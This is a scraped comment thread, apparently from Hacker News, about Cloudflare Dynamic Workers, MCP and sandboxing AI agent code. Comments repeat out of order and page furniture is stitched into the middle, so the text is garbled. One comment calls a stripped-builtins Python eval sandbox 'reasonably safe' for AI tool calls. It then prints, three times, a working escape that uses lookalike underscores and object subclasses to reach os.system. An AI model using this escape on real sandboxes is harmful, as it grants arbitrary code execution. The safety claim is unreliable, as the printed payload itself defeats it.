Let's say I have a bunch of objects (e.g. parquet) in R2, can the agent mount them? Or how do I best give the agent access to the objects? HTTP w/ signed urls? Injecting the credentials?
I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.
This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.
eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
Could an AI decide to download JavaScript libraries of its choice into a dynamic worker? That wouldn't be as flexible as a full Linux VM but it might be interesting.
Edit: I guess not:
> If your Dynamic Worker needs TypeScript compilation or npm dependencies, the code must be transpiled and bundled before passing to the Worker Loader.
MCP really isn't aging well, to be honest. LLMs are just way more efficient at writing a single script that targets an API directly, rather than ping-ponging across a protocol that's inherently slow and token-heavy. Not saying MCP is bad, just that it's obviously not the silver bullet everyone thought it was.
Cloudflare letting the LLM write a single JS function to execute the whole chain in an edge isolate is super smart. It finally offloads the agent's inner loop.
I’ve been dealing with the exact same latency/reliability mess, but on the frontend. We ended up building an open protocol to let agents operate live UIs natively because vision and DOM-scraping loops are just painfully slow. Moving the actual execution engine as close to the target as possible (either an edge V8 isolate for APIs, or a native SDK for the frontend) seems to be the only real way out of the current "slow and expensive" agent phase.
eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
11 comments
[ 4.0 ms ] story [ 44.3 ms ] threadeval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {})
I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09
I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.
This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.
eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
import nono_py as nono
# Define capabilities caps = nono.CapabilitySet() caps.allow_path("/project", nono.AccessMode.READ_WRITE) caps.allow_file("/home/user/.gitconfig", nono.AccessMode.READ)
# Apply sandbox (irrevocable) nono.apply(caps)
# Your agent code runs here, fully sandboxed agent.run()
example using pydantic and fast API:
https://github.com/always-further/pydantic-ai-fastapi-nono
Edit: I guess not:
> If your Dynamic Worker needs TypeScript compilation or npm dependencies, the code must be transpiled and bundled before passing to the Worker Loader.
https://developers.cloudflare.com/dynamic-workers/getting-st...
Cloudflare letting the LLM write a single JS function to execute the whole chain in an edge isolate is super smart. It finally offloads the agent's inner loop.
I’ve been dealing with the exact same latency/reliability mess, but on the frontend. We ended up building an open protocol to let agents operate live UIs natively because vision and DOM-scraping loops are just painfully slow. Moving the actual execution engine as close to the target as possible (either an edge V8 isolate for APIs, or a native SDK for the frontend) seems to be the only real way out of the current "slow and expensive" agent phase.